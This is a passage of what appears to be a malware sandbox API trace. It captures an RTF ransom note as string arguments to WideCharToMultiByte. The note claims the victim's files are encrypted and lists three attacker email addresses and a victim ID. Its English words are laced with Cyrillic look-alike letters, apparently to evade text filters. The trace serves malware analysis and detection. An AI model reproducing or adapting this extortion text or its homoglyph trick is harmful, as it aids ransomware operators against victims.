s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 